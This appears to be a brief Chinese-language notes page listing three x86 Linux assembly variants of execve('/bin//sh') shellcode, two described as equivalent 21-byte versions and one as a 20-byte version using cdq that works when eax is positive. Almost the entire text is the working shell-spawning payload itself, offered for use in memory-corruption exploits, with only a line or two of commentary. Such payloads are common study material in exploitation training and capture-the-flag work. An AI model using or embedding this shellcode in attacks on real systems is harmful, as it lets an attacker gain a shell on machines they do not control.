1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
xor    ecx,ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov al,0xb
int 0x80

xor ecx,ecx
xor edx,edx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov al,0xb
int 0x80

上面两个是一样的,21字节比较稳定的一个shellcode
下面变一点点

20字节shellcode
适用于eax是正数的情况

1
2
3
4
5
6
7
8
xor    ecx,ecx
cdq #将eax的高位扩展到edx中
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov al,0xb
int 0x80